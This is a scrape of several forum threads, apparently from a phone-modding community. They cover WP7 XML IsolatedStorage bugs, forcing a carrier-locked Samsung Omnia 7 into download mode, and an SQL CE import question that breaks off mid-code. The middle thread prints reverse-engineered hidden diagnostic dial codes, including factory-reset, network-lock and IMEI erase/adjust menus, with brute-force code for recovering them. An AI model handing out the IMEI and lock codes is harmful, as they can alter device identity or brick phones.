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Hi there,
I'm having a big issue, when trying to remove an XElement from an XML file created in IsolatedStorage.
--------------------------------------------------------------------------------------------
Code to CREATE the XML file
Dim File_to_Create As String = "Tracks.xml"
Dim file As XDocument = <?xml version="1.0" encoding="UTF-8"?>
<dataroot xmlnsd="urn:schemas-microsoft-comfficedata" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="Cartridges.xsd" generated="2010-11-23T14:26:55">
<Carts>
<CART_NAME>First</CART_NAME>
<CART_COLOR>White</CART_COLOR>
</Carts>
<Carts>
<CART_NAME>Second</CART_NAME>
<CART_COLOR>Black</CART_COLOR>
</Carts>
</dataroot>
Dim isoStore As IsolatedStorageFile = IsolatedStorageFile.GetUserStoreForApplication()
Try
If isoStore.FileExists(File_to_Create) Then
MessageBox.Show(File_to_Create + " TRUE")
Else
MessageBox.Show(File_to_Create + " FALSE")
Dim oStream As New IsolatedStorageFileStream(File_to_Create, FileMode.Create, isoStore)
Dim writer As New StreamWriter(oStream)
writer.WriteLine(file)
writer.Close()
MessageBox.Show("OK")
End If
Catch ex As Exception
MessageBox.Show(ex.Message)
Finally
'open selected file
Dim isoStream As IsolatedStorageFileStream
isoStream = New IsolatedStorageFileStream(File_to_Create, System.IO.FileMode.Open, System.IO.FileAccess.Read, isoStore)
Dim XML_File As XDocument = XDocument.Load(isoStream)
Dim Cart_Query As System.Collections.IEnumerable = From query In XML_File.Descendants("Carts") Order By _
CStr(query.Element("CART_NAME")) Descending, CStr(query.Element("CART_NAME"))
Select New Class_Cartridge_Data With {.Cart_Name = CStr(query.Element("CART_NAME")), _
.Cart_Color = CStr(query.Element("CART_COLOR"))}
Me.ListBox_Cartridges.ItemsSource = Cart_Query
isoStore.Dispose()
isoStream.Close()
End Try
--------------------------------------------------------------------------------------------
Code to ADD / EDIT XElement
Dim File_to_Create As String = "Tracks.xml"
Dim XML_IsolatedStorage = IsolatedStorageFile.GetUserStoreForApplication()
' Check that the file exists if not create it
If Not (XML_IsolatedStorage.FileExists(File_to_Create)) Then
Return
End If
Dim XML_StreamReader As New StreamReader(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Read))
Dim XML_Document As XDocument = XDocument.Parse(XML_StreamReader.ReadToEnd())
XML_StreamReader.Close()
' Update the element if it exist or create it if it doesn't
Dim XML_XElement As XElement = XML_Document.Descendants("Carts").Where(Function(c) c.Element("CART_NAME").Value.Equals("First")).FirstOrDefault()
If XML_XElement IsNot Nothing Then
XML_XElement.SetElementValue("CART_NAME", "Third")
Else
' Add new
Dim newProgress As New XElement("Cartridges", New XElement("CART_NAME", "Fourth"), New XElement("CART_COLOR", "Blue"))
Dim rootNode As XElement = XML_Document.Root
rootNode.Add(newProgress)
End If
Using XML_StreamWriter As New StreamWriter(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Write))
XML_StreamWriter.Write(XML_Document.ToString())
XML_StreamWriter.Close()
End Using
--------------------------------------------------------------------------------------------
Now my issue and request for some help!
If I use
XML_XElement.Remove
then the following exception is raised whenever I try to "refresh" the bounded ListBox
System.Xml.XmlException was unhandled
LineNumber=37
LinePosition=12
Message=Data at the root level is invalid. Line 37, position 12.
SourceUri=""
StackTrace:
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
at System.Xml.XmlTextReaderImpl.Throw(Int32 res, String resString, String[] args)
at System.Xml.XmlTextReaderImpl.Throw(Int32 res, String resString)
at System.Xml.XmlTextReaderImpl.ParseRootLevelWhitespace()
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
at System.Xml.XmlTextReaderImpl.Read()
at System.Xml.Linq.XContainer.ReadContentFrom(XmlReader r)
at System.Xml.Linq.XContainer.ReadContentFrom(XmlReader r, LoadOptions o)
at System.Xml.Linq.XDocument.Load(XmlReader reader, LoadOptions options)
at System.Xml.Linq.XDocument.Load(Stream stream, LoadOptions options)
at System.Xml.Linq.XDocument.Load(Stream stream)
at ListBox_Data_from_XML_LINQ.MainPage.Button_Create_XML_Click(Object sender, RoutedEventArgs e)
at System.Windows.Controls.Primitives.ButtonBase.OnClick()
at System.Windows.Controls.Button.OnClick()
at System.Windows.Controls.Primitives.ButtonBase.OnMouseLeftButtonUp(MouseButtonEventArgs e)
at System.Windows.Controls.Control.OnMouseLeftButtonUp(Control ctrl, EventArgs e)
at MS.Internal.JoltHelper.FireEvent(IntPtr unmanagedObj, IntPtr unmanagedObjArgs, Int32 argsTypeIndex, String eventName)
InnerException:
--------------------------------------------------------------------------------------------
In short, I can add or edit, but cannot DELETE an XElement...
Any ideas?
Thanks in advance!
Can you post the code you are using for XElement.Remove and use code tags so the formatting is right. Its the # button on the post toolbar.
Ren13B said:
Can you post the code you are using for XElement.Remove and use code tags so the formatting is right. Its the # button on the post toolbar.
Click to expand...
Click to collapse
Well, I did nothing special, just the XML_Element.remove, instead of adding a new xelement.
Then the error raises whenever I try to reopen the XML file.
My point is, how can I delete an specific xelement?
As far as I know, the following code should work
Code:
Dim XML_XElement As XElement = XML_Document.Descendants("Carts").Where(Function(c ) c.Element("CART_NAME").Value.Equals("First")).Firs tOrDefault()
If XML_XElement IsNot Nothing Then
XML_XElement.SetElementValue("CART_NAME", "Third")
Else
' remove the selected record
XML_XElement.Remove
End If
Honestly I don't know if the foregoing code is correct or if the issue is related to how WP7 handles the removal thus corrupting the original file.
Please let me know if you need anything else.
Any help is very appreciated!
PS: Thanks for the other replies, helped a lot!
Here's how I did it in c#. My xml file is very different than yours so the query will be different but the important parts are where you load and close the file streams and then write.
Code:
//Get users private store info
IsolatedStorageFile isoStore = IsolatedStorageFile.GetUserStoreForApplication();
IsolatedStorageFileStream isoStream;
//open selected file
isoStream = new IsolatedStorageFileStream(list, System.IO.FileMode.Open, System.IO.FileAccess.Read, isoStore);
XDocument xml = XDocument.Load(isoStream);
isoStream.Close();
//Find section
XElement sectionElement = xml.Descendants("section").Where(c => c.Attribute("name").Value.Equals(groupn)).FirstOrDefault();
//Find item and remove it
sectionElement.Elements("setting").Where(c => c.Attribute("name").Value.Equals(litem)).FirstOrDefault().Remove();
isoStream.Close(); //Seems unnecessary but it's needed.
//Write xml file
isoStream = new IsolatedStorageFileStream(list, FileMode.Create, FileAccess.Write, isoStore);
xml.Save(isoStream);
isoStream.Close();
Thanks again for your help, greatly appreciated.
However I'm still getting the same error.
Sorry for asking, but are you getting any errors when deleting in WP7 ?
My knowledge on XML is extremely new and I'm sure that I'm making some mistakes somewhere...
But so far, I cannot get past the same exception.
Seems that the XML gots "corrupted" after the delete operation.
On the other hand, if is not too much to ask for, using my current code, how will handle the delete of the selected record?
Thanks!
I have no problem at all removing elements in c#. I don't have vb support even installed right now. If you think it's a bug you should post on the forums at http://forums.create.msdn.com/forums/98.aspx
Ren13B said:
I have no problem at all removing elements in c#. I don't have vb support even installed right now. If you think it's a bug you should post on the forums at http://forums.create.msdn.com/forums/98.aspx
Click to expand...
Click to collapse
Problem is my country is not listed so I cannot register...
Here is the C# version of my current code for adding/editing
Code:
public static void ADD_XML_Record()
{
string File_to_Create = "Tracks.xml";
var XML_IsolatedStorage = IsolatedStorageFile.GetUserStoreForApplication();
// Check that the file exists if not create it
if (! (XML_IsolatedStorage.FileExists(File_to_Create)))
{
return;
}
StreamReader XML_StreamReader = new StreamReader(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Read));
XDocument XML_Document = XDocument.Parse(XML_StreamReader.ReadToEnd());
XML_StreamReader.Close();
// Update the element if it exist or create it if it doesn't
XElement XML_XElement = XML_Document.Descendants("Carts").Where((c) => c.Element["CART_NAME"].Value.Equals("dd")).FirstOrDefault();
if (XML_XElement != null)
{
XML_XElement.SetElementValue("CART_NAME", "bbbbb");
}
else
{
// Add new
XElement newProgress = new XElement("Carts", new XElement("CART_NAME", "dd"), new XElement("CART_COLOR", "ff"));
XElement rootNode = XML_Document.Root;
rootNode.Add(newProgress);
}
using (StreamWriter XML_StreamWriter = new StreamWriter(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Write)))
{
XML_StreamWriter.Write(XML_Document.ToString());
XML_StreamWriter.Close();
}
}
I tried your code but I'm having a bad time making it to work.
If not a big deal, please could you tell me how to modify it ?
I mean, if a record is found, instead of editing, to remove it?
Honestly I'm stuck and any help is more than apprecisted!
Ren13B said:
I have no problem at all removing elements in c#. I don't have vb support even installed right now. If you think it's a bug you should post on the forums at http://forums.create.msdn.com/forums/98.aspx
Click to expand...
Click to collapse
Ren,
Just to say thank you for your last code. I made a little mod and now it works ok!
Thanks a lot for helping me out!
Us T-Mobile users cannot flash Roms at the minute because the download mode button combo has been disabled.
Maybe there is a way to do this programatically or use a resistor accross certain USB pins like the Galaxy S method.
What's your opinion on this?
Sent from my OMNIA7 using Board Express
Yesterday I wasted some time playing around with the USB diagnostic port (enable in the Diagnosis app, it's the third USB mode option). Both PSAS and QPST can connect to and mess with the phone, so I think if someone knows his way around, the phone can be kicked into Download Mode.
(I only managed to crash the phone in many different ways, but I was really just monkeying around.)
If this can be done it would be great as this is the first phone I have owned where I cannot flash firmware myself.
Might be worth while seeing if everyone with a tmobile uk branded omnia 7 has this issue?
FYI I have included my firmware versions etc so we can try and collate a list of working/non working ones to see what the differences are if any.
os version 7.0.7004.0
firmware revision number 2424.10.10.6
hardware revision number 3.15.0.4
radio software version 2424.10.10.6
radio hardware version 0.0.0.800
bootloader version 4.10.1.9
chip soc version 0.36.2.0
KarmaXXK said:
Yesterday I wasted some time playing around with the USB diagnostic port (enable in the Diagnosis app, it's the third USB mode option). Both PSAS and QPST can connect to and mess with the phone, so I think if someone knows his way around, the phone can be kicked into Download Mode.
(I only managed to crash the phone in many different ways, but I was really just monkeying around.)
Click to expand...
Click to collapse
Yes, I tried the *#7284# code and changed the USB Path Control to "Modem, USB Diag" and my phone was recognised by the ROM Downloader but the phone was not in download mode.
I have stumbled upon something which may be what we are looking for though, after reverse engineering the Samsung Diagnosis app I notice there are codes to access 'Operator Specific' Admin areas in the app. Take a look at the attached image.
Now as you can see, the values listed cannot be typed into the Diagnosis app as there is a formula to decipher them. I have the formula but cannot get it to work.
Code:
Private Overloads Function GetHashCode(ByVal str As String) As UInteger
Dim num As UInteger = 0
For i As Integer = 0 To str.Length - 1
[B]num = ((num << 5) + num) + str(i)[/B]
Next
Return num
End Function
Now the bit highlighted in bold is the bit I cant get to work.
It gives the following error:
Operator '+' is not defined for types 'UInteger' and 'Char'.
Once someone can help to get this working, reversing the formula should in theory show us the correct *#000# code combination for each area.
Fingers crossed you can crack it!
lyriquidperfection said:
Yes, I tried the *#7284# code and changed the USB Path Control to "Modem, USB Diag" and my phone was recognised by the ROM Downloader but the phone was not in download mode.
I have stumbled upon something which may be what we are looking for though, after reverse engineering the Samsung Diagnosis app I notice there are codes to access 'Operator Specific' Admin areas in the app. Take a look at the attached image.
Now as you can see, the values listed cannot be typed into the Diagnosis app as there is a formula to decipher them. I have the formula but cannot get it to work.
Code:
Private Overloads Function GetHashCode(ByVal str As String) As UInteger
Dim num As UInteger = 0
For i As Integer = 0 To str.Length - 1
[B]num = ((num << 5) + num) + str(i)[/B]
Next
Return num
End Function
Now the bit highlighted in bold is the bit I cant get to work.
It gives the following error:
Operator '+' is not defined for types 'UInteger' and 'Char'.
Once someone can help to get this working, reversing the formula should in theory show us the correct *#000# code combination for each area.
Click to expand...
Click to collapse
I worked on this few days ago, I couldn't reverse the hash function but we had some brilliant ideas how to do it (see the stackoverflow thread about it http://stackoverflow.com/questions/4523553/reversing-a-hash-function)
but I used brute force and extracted some 60 diagnosis codes that you can find here http://www.martani.net/2010/12/windows-7-hacks-all-diagnosis-codes-you.html
and here http://www.martani.net/2010/12/windows-7-hacks-all-diagnosis-codes-you_26.html
This is great stuff martani if there is any way to decipher these ones, they may be worth looking at:
g_ADMIN_GENERIC = 3370684588
g_ADMIN_TMOBILE = 469486183
g_ADMIN_VODAFONE = 474092301
These ones indeed look very interesting and may offer a way to enable ADC or even the Download Mode some people like me have been looking for.
lyriquidperfection said:
This is great stuff martani if there is any way to decipher these ones, they may be worth looking at:
g_ADMIN_GENERIC = 3370684588
g_ADMIN_TMOBILE = 469486183
g_ADMIN_VODAFONE = 474092301
These ones indeed look very interesting and may offer a way to enable ADC or even the Download Mode some people like me have been looking for.
Click to expand...
Click to collapse
Actually the code is a little misleading, if you see closely, the enum HashCodeTable is used nowhere.
The app waits for user input, after each "tap" on a number it calls the function ParseDial() that hashes the input with GetHashCode then calls the function GetEnumFromList() on this hashed value.
In GetEnumFromList, there is no use of HashCodeTable and even the codes you provided are not hard-coded in this function. I am not sure why they are there but as far as I can tell, to access these parts of the diagnosis app, you need another method than dialing a code it seems
martani said:
Actually the code is a little misleading, if you see closely, the enum HashCodeTable is used nowhere.
The app waits for user input, after each "tap" on a number it calls the function ParseDial() that hashes the input with GetHashCode then calls the function GetEnumFromList() on this hashed value.
In GetEnumFromList, there is no use of HashCodeTable and even the codes you provided are not hard-coded in this function. I am not sure why they are there but as far as I can tell, to access these parts of the diagnosis app, you need another method than dialing a code it seems
Click to expand...
Click to collapse
Damn it! Looks like we are back to square one!
Have you seen also on the Samsung Galaxy S the Download mode is disabled on some devices, but some users made a jig where you bridge 2 pins with a certain resistor and it knocks the phone into download mode. Maybe this would work on the Omnia 7 also????
I am hoping for a software based fix rather than hacking together something.
**ALL** diagnostic codes for SAMSUNG devices
I reverse engineered the Diagnostic Menu Application. It contains a list of configuration "Titles" with corresponding hash-codes. I made a tool to reverse the hash-codes to dial-codes. The dial-codes may not be the same as some codes that were already known, but the dial-codes are absolutely correct for these menu. Differences are due to hash-collisions (same hash-code may have multiple possible dial-codes). I just used the shortest dial-codes for every menu.
The list of menu's is very long and I discovered that not all menu-codes were not actually implemented. I guess this list of codes is used for all Samsung devices (possibly also for Galaxy S and older Windows Mobile devices). So not all dial-codes may actually work on your device.
WARNING!! The menu's can configure low-level settings of your phone. And if you don't know what you're doing you may brick your device or maybe hard-reset the device and loose all your data and settings. Or you may faulty calibrate your sensors. Be very, very careful with experimenting!! I will not take any responsibility for damaging your device in any way.
I would personally be very interested if anyone finds a way to get the device in download-mode by using these menu's (I have a bad bootloader which does not let my Samsung Omnia 7 go into download-mode to flash it to a newer firmware).
By the way: the admin menu's are NOT implemented on the Omnia 7 :-(
This is the list with menu-titles, dial-codes and their hashcode:
Code:
FTAMain = 15 (0x686)
QUALCOMM TEST = *09# (0x17DB96)
TMOServiceMenu = *74*# (0x31710C2)
SMDINFO = *#03# (0x30C0953)
SIMPLE FUNCTION TEST = *#05# (0x30C0995)
IMEI NUMBER = *#06# (0x30C09B6)
VIEWHISTORYNW = *#07# (0x30C09D7)
LCDTEST = *#0*# (0x30C082A)
QWERTYTEST = *#1*# (0x30C0C6B)
BATT TEST = *#2*# (0x30C10AC)
BRIGHTNESS TEST = *#3*# (0x30C14ED)
TouchDelta 80 = *#80# (0x30C2AF8)
LIGHTTEST = *#12*# (0x648DBCDD)
BTLOGDUMP = *#232# (0x648E4E87)
WIFI FACTORY TEST = *#526# (0x648FEFED)
RILNETLOG = *#638# (0x649080D1)
RILDUMP = *#745# (0x64911110)
VPHONE770 = *#770# (0x64911D2E)
VPHONE771 = *#771# (0x64911D4F)
VPHONE772 = *#772# (0x64911D70)
VPHONE773 = *#773# (0x64911D91)
VPHONE774 = *#774# (0x64911DB2)
VPHONE775 = *#775# (0x64911DD3)
VPHONE776 = *#776# (0x64911DF4)
VPHONE777 = *#777# (0x64911E15)
VPHONE778 = *#778# (0x64911E36)
VPHONE779 = *#779# (0x64911E57)
SR TEST = *#780# (0x6491216F)
VT DUMP = *#938# (0x649225F4)
Disable Testbed = #12358# (0xFC28BE89)
Enable Testbed = *12358# (0x170067D0)
DEBUGMODE1 = *#0011# (0xF63246F2)
BATTERYINFO = *#0228# (0xF63364DC)
PHONELOOPBACKTEST = *#0283# (0xF6337DBD)
AUDIOTEST2 = *#0289# (0xF6337E83)
FMRADIORX = *#0368# (0xF6340241)
LIGHTSENSORTEST = *#0589# (0xF63523A6)
RRCVERSION = *#0599# (0xF63527E7)
AUDIOTEST = *#0673# (0xF635AB00)
SOUNDTEST = *#0675# (0xF635AB42)
RTC = *#0782# (0xF6363B81)
DEVICETEST = *#0842# (0xF636B6DE)
ILLUMINATIONTEST = *#0843# (0xF636B6FF)
MultiTouch = *#0987# (0xF63754E8)
SWversionFTA = *#1111# (0xF644EBD4)
MOUSETEST = *#121*# (0xF645774E)
SWversionEx = *#1234# (0xF645811A)
MOUSECAL = *#123*# (0xF6457FD0)
MOUSECAL06 = *#126*# (0xF6458C93)
GPSTEST = *#1575# (0xF6473762)
MICROUSB TEST = *#1793# (0xF6485864)
HWversionFTA = *#2222# (0xF6579518)
BANDSELECTION = *#2263# (0xF657A63D)
PHONEDUMP = *#2454# (0xF658BADF)
CAMERAUPDATE = *#2470# (0xF658C2DD)
CAMERADISABLE = *#2480# (0xF658C71E)
NAVIKEY TEST = *#2486# (0xF658C7E4)
INTEGRITY = *#2580# (0xF659537F)
TouchFirmare 2663 = *#2663# (0xF659D7C1)
TouchDelta 2664 = *#2664# (0xF659D7E2)
TouchDelta 2665 = *#2665# (0xF659D803)
RILNETLOG OFF = *#6380# (0xF6A09CC1)
RILNETLOG ON = *#6381# (0xF6A09CE2)
NETLOCK NETWORK = *#6955# (0xF6A3DAE9)
USBPATHCHANGE = *#7284# (0xF6B22965)
POWERONATTACH = *#7298# (0xF6B22E2A)
SELF DIAGNOSTIC MODE = *#7353# (0xF6B2A8E2)
DebugOption = *#7450# (0xF6B334E0)
ERROR REPORT ON = *#7451# (0xF6B33501)
ERROR REPORT VERIFY = *#7452# (0xF6B33522)
NETLOCK SERVICE = *#7755# (0xF6B4DAA8)
VPHONE DISABLED = *#77*0# (0xF6B4AB38)
VPHONE ENABLED = *#77*1# (0xF6B4AB59)
UARTCHANGER = *#9090# (0xF6D54562)
DEBUGDUMP = *#9900# (0xF6DA0E82)
PILEDUMP = *#9901# (0xF6DA0EA3)
NETLOG LOG START = *#9905# (0xF6DA0F27)
DEBUG RIL DUMP = *#9906# (0xF6DA0F48)
ERRORREPCAB INSTALL = *#9907# (0xF6DA0F69)
GUMITEST3G CAB INSTALL = *#9908# (0xF6DA0F8A)
SUWON3G CAB INSTALL = *#9909# (0xF6DA0FAB)
UARTPATH = *#9910# (0xF6DA12C3)
BATTERYMONITOR = *#9911# (0xF6DA12E4)
CONNECTION SETTING = *#9920# (0xF6DA1704)
VERIFYCOMPARE = *#9990# (0xF6DA34CB)
YSSHINTEST = *#9999# (0xF6DA35F4)
VersionScript = 19104#2* (0xD21FC43E)
BLUETOOTH LOG DISABLE = 20652609 (0x1598F3DE)
BLUETOOTH LOG ENABLE = 20652619 (0x1598F3FF)
BT SSPDEbugModeEnable = 20652629 (0x1598F420)
BT SSPDEbugModeDisable = 20652639 (0x1598F441)
OMADMCLIENT LOG DISABLE = 20653609 (0x1599803F)
OMADMCLIENT LOG ENABLE = 20653619 (0x15998060)
CELOG LOG DISABLE = 20654609 (0x159A0CA0)
CELOG LOG ENABLE = 20654619 (0x159A0CC1)
TOTALCALLTIME = 2934331* (0xC35403F3)
RESET CUSTOM = 35180948 (0x77496B66)
RESET FACTORY = 35190718 (0x775B7B02)
ERASE IMEIITEM = 35190728 (0x775B7B23)
IMEI ADJUST = 35190738 (0x775B7B44)
BLUETOOTH RF TEST = 3##65*88 (0xECE73A9E)
BLUETOOTH AUDIO TEST = 3##65*98 (0xECE73ABF)
AutoSimSetting = 40*047#3 (0xD1C556DF)
PVKKey = 40*549#3 (0xD21FD9E6)
RESET FACTORY WITHDEFAULTLANGUAGE = 76264513 (0x777E1362)
NONSLEEPCALL OFF = *#069*0# (0xBCEBFF49)
NONSLEEPCALL ON = *#069*1# (0xBCEBFF6A)
LEDTEST = *#14789# (0xBF1C1ADD)
DMSessionInit = *#15428# (0xBF2C7494)
CIPHERING = *#32489# (0xC3A095FA)
CAMERAUPDATESVC = *#32589# (0xC3A1225B)
LOGDUMPMGR = *#33284# (0xC3B19514)
SR DISABLED = *#780*0# (0xCD5F5D49)
SR ENABLED = *#780*1# (0xCD5F5D6A)
NETLOCK SUBSET = *#78255# (0xCD60A57B)
LAUNCH UAEDIT = *#92782# (0xD1A12DFC)
PdaBuildTime = *#99820# (0xD2204C1C)
VersionTime = *#99821# (0xD2204C3D)
WIFI TEST = 0373385#6 (0xECE73BA6)
EN LOCK NW = 074578132 (0xBBF27D35)
GCFTESTMODE ENTER = 086#58023 (0x1807BAE3)
FILE SYSTEM TEST = 089559715 (0x28F3F681)
AUDIOGAINCONTROL = 08#766104 (0x902D68E3)
DIS LOCK SUB NW = 17#991#3* (0x1D45A6AE)
PVKFileName = 18*357#25 (0x161B193C)
EN LOCK SUB NW = 193582504 (0xBC073A15)
GPSTESTTOOL = 1#8865#55 (0xF61EC09C)
EN LOCK CORP = 1*0273411 (0xF62C007D)
EN LOCK SVC = 1*0278411 (0xF62EBE62)
DIS LOCK NW = 20789802* (0x1D30E9CE)
SellOutSMS = 2615#0922 (0xD04CA8DE)
TFlashUnPairing = 30334*733 (0x51B892C4)
DIS LOCK SVC = 38025*93# (0xCA957BDB)
GPSTESTTOOL2 = 400#40*08 (0xB9F6D60D)
GPSTESTXTRA = 400#40*18 (0xB9F6D62E)
SerialNumber = 5317*0648 (0x6E256D8C)
EN LOCK SIM = 5494585*3 (0xBC051995)
SERVERURL = 553378683 (0xD8389060)
SLIDECOUNT = 584644021 (0xF0BF3052)
SellOutSMSTestMode = 597#*224# (0x96E7B26D)
APPSLAUNCHER = 5**6244*3 (0x33B0B76)
SLOGSERIAL M2 = 66#6757#1 (0x7050E07C)
AutoReceive Enable = 7160*5088 (0xEF2C5E0D)
TESTMODE = 718071#49 (0x8A09ACC8)
RESET SERVICE = 72673#00# (0xEC5B4BEF)
ReactivateSellOutSMS = 74201#086 (0x807DB65F)
AUDIOCODEC = 7#16#1#37 (0x902D68C2)
ADMIN GENERIC = 838*5448* (0xC8E890AC)
SLOGSERIAL ALL ON = 8644*3081 (0x705107AC)
VT MANUALSETTING = 8802*7*5# (0x104384B5)
DISLOCK SIM = 98217*243 (0x1D43862E)
DMTESTMENU = 9#7357764 (0x414D9633)
SLOGSERIAL ALL OFF = #22#6214# (0x7050E03A)
SLOGSERIAL M1 = #22#6215# (0x7050E05B)
SLOGSERIAL M3 = #22#6217# (0x7050E09D)
SLOGSERIAL M4 = #22#6218# (0x7050E0BE)
SLOGSERIAL M5 = #22#6219# (0x7050E0DF)
ADMIN VODAFONE = #75471648 (0x1C42130D)
DisableSellOutSMS = *4587*676 (0x903477AF)
BLUETOOTH SEARCH TEST = *#232333# (0xECE73AE0)
RANDOM BT MAC = *#232336# (0xECE73B43)
BLUETOOTH MAC VIEWER = *#232337# (0xECE73B64)
WIFI MAC VIEWER = *#232338# (0xECE73B85)
PRECONFIGURATION = *#638738# (0x213EF313)
SELF DIAGNOSTIC MODE DISABLE = *#7353*0# (0x6E008D7C)
SLOGSERIAL M6 = *#745*06# (0x7050E100)
DIS LOCK CORP = 00*2*2#524 (0xCA92BDF6)
ADMIN TMOBILE = 0612824763 (0x1BFBCA67)
AutoReceive Disable = 09925572#3 (0xD4B8217D)
SWversionIn = 1309653522 (0xECB23FC4)
GPSTTFFTESTTOOL = 154*068271 (0xF61EBC7C)
SellOutSMSProductionMode = 1#3341#5#0 (0x96D7C68A)
LOCK STATUS INFO = 28##**23*0 (0x7D8C72E3)
SWversionNewIn = 32456464#7 (0xFD58D7FC)
Heathcliff74 said:
I reverse engineered the Diagnostic Menu Application. It contains a list of configuration "Titles" with corresponding hash-codes. I made a tool to reverse the hash-codes to dial-codes. The dial-codes may not be the same as some codes that were already known, but the dial-codes are absolutely correct for these menu. Differences are due to hash-collisions (same hash-code may have multiple possible dial-codes). I just used the shortest dial-codes for every menu.
Click to expand...
Click to collapse
Can you share how did you reverse the hash function? I worked on this some time ago but finally just brute forced it to extract the keys.
I would also like to know how he reversed the hash codes! I tried for hours and had no luck!
Haha.. Well, I first tried to calculate the original dial-codes, but that seems to work only for dialcodes shorter than 8 digits (5 bits per digit, 32 bits hash-code = 32 / 5 = 7 digits + 1 digit for the extra add):
Code:
uint hash = 0; // enter hash here
string DialCode = "";
while (hash > 0)
{
uint digit = (hash % 33) + 33;
if (digit > hash)
hash = 0;
else
hash = (hash - digit) / 33;
DialCode = Convert.ToChar(digit) + DialCode;
}
return DialCode;
But this does not work for long dial-codes. So after that I just made a little program to brute-force it. I copied the enum with menu-titles and hash-codes to my project. Then I used reflection to populate a sortedlist. Then I started to brute-force and check all dialcodes for their hashcode and see if it exists in the list. If it exists, I add it to a textbox and remove the item from the list. That's it. So it is not really reversed, but my program took about an hour to get dial-codes for all the hashcodes in the enum.
Code:
SortedList<uint, string> hashCodes = new SortedList<uint, string>();
int l = typeof(HashCodeTable).GetEnumNames().Length;
string[] menunames = typeof(HashCodeTable).GetEnumNames();
for (int i = 0; i < l; i++)
{
try
{
hashCodes.Add(Convert.ToUInt32(Enum.Parse(typeof(HashCodeTable), menunames[i])), menunames[i].Substring(2).Replace('_', ' '));
}
catch { }
}
char[] chars = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '#', '*' };
for (int length = 1; length <= 20; length++)
{
ushort[] digits = new ushort[length];
for (int i = 0; i < length; i++) digits[i] = 0;
while (true)
{
// calc hash
uint hashCode = 0;
for (int i = 0; i < length; i++)
{
hashCode = ((hashCode << 5) + hashCode) + chars[digits[i]];
}
if (hashCodes.ContainsKey(hashCode))
{
int m = hashCodes.IndexOfKey(hashCode);
string str = "";
for (int j = 0; j < length; j++)
str = str + chars[digits[j]];
textBox1.Text = textBox1.Text + hashCodes.Values[m] + " = " + str + " (0x" + hashCode.ToString("X") + ")" + Environment.NewLine;
hashCodes.RemoveAt(m);
}
// increase
digits[length - 1]++;
for (int k = length - 1; k >= 0; k--)
{
if (digits[k] >= 12)
{
if (k == 0)
break;
else
{
digits[k] -= 12;
digits[k - 1]++;
}
}
}
if ((digits[0] >= 12) || (hashCodes.Count == 0)) break;
}
if (hashCodes.Count == 0) break;
}
Excellent stuff! Thank you for this very interesting code snippit!
WP7 diag codes
martani said:
Actually the code is a little misleading, if you see closely, the enum HashCodeTable is used nowhere.
Click to expand...
Click to collapse
This is because the compiler optimized out the switch statement and compiled the constants into the IL code for the hash codes.
Within the main switch statement where keypad entries are evaluated there are ~112 codes and I've reversed all of them. Writing hash algorithms is not straightforward and it's quite a simple one, since my app captured 2-3-4 variants of keycodes for the same hash value.
Regarding the most interesting entries at the top of the enum the ADMIN_ entries...those hash values are not handled by the application, maybe Samsung has another diag app or a different app which is using the same method.
The other thing I can think of is there are APIs in the diag app which one is sending the hash of a keycode to the given driver...I tried that but the ADMIN stuff did not worked that way either :-((
If anyone is interested I can post the resolved codes, but not sure if I can post it in the forum or not ;-)
Regsitry entry to enable SLDR mode
I found this definition in B44C7A84-5068-4b43-A1E5-F870A80F6FF8.rgu:
[HKEY_LOCAL_MACHINE\Drivers\BuiltIn\UsbFn]
...
"OsMode"=dword:0 ; 0 for Main OS, 1 for SLDR
....
Is the download mode == SLDR mode?
Since maybe we can set this entry "somehow", and upon next reboot we will get into download mode so we can flash the device?
So the question is, what is SLDR mode? Secure Loader mode? I don't know this, a more pro in this area should help out ;-)
UPDATE
I was able to read the value (0) and write it back (0). Did not tried to write 1 there
Hey guys. I know this thread is about programmatically enter downloadmode, but I wanted to try the 301k resistor trick and I can confirm it works on Samsung Omnia 7.
I used this guide. If you're gonna do that too, then you should pay attention to these things:
- The guide refers to pin 4 and 5 being closest to the headphone socket. But on the omnia 7, the headphone and micro-usb sockets are the other way around if you compare it to the Galaxy S. The guide is for the Galaxy S, so you should really pay attention to which pins you solder the resistor(s). This is the best picture on how you should solder the resistor(s).
- Many micro-usb cables have no wire for pin 4. Some connectors don't even have a pin 4. You should first verify that your connector has all 5 pins. If you only have 4 wires, then you have to dismantle the connector and solder directly on the back of the connector.
I switched off my Omnia 7. I plugged in my jig and it went to downloadmode immediately.
It's late now, so I will see tomorrow what I will be going to flash on it. There quite a few roms and I'm not sure which one I should use. I have to figure that out first.
If anyone has questions about how to make a jig, just ask. I know how to make one now.
You should post pictures, how to make such a cable. Thanks
FromOuterSpace said:
You should post pictures, how to make such a cable. Thanks
Click to expand...
Click to collapse
The picture I linked to in my previous post look pretty clear to me. It shows what pins you have to use. The guide I linked to contain all the other necessary details. If you have any specific questions about something that is still not clear, you can ask me.
I am trying to read large XML files (100,000 rows) into SQL CE 3.5 database file.
At the moment, I am using XmlTextReader to read xml file line by line and SqlCeConnect / SqlCeCommand TableDirect to write array of data extracted from each line into database.
Using the code below, it takes ~213 seconds to read ~25000 row file. From this, it takes 167 seconds for everything except for writing to database with record/rs, 57 seconds to call just itemXmlDoc.LoadXml(xmlTextReader.ReadOuterXml()) inside while loop, and 152 seconds to do itemXmlDoc.LoadXml and 13 itemXmlDoc.SelectSingleNode("item/Subfield").InnerText... so it ends up that itemXmlDoc.SelectSingleNode is the biggest factor that slows everything down.
What can I do to improve this? Maybe there is a better way to split itemXmlDoc into separate values?
(Before I read itemXmlDoc into string array, it looks something like this: <item><Index>121fg12e<Index><Name>John</Name>.........<Notes>John's profile</Notes></item>)
Code:
using (SqlCeConnection cn = new SqlCeConnection(connectionString))
{
if (cn.State == ConnectionState.Closed)
cn.Open();
using (SqlCeCommand cmd = new SqlCeCommand())
{
cmd.Connection = cn;
cmd.CommandText = "item";
cmd.CommandType = CommandType.TableDirect;
using (SqlCeResultSet rs = cmd.ExecuteResultSet(ResultSetOptions.Updatable | ResultSetOptions.Scrollable))
{
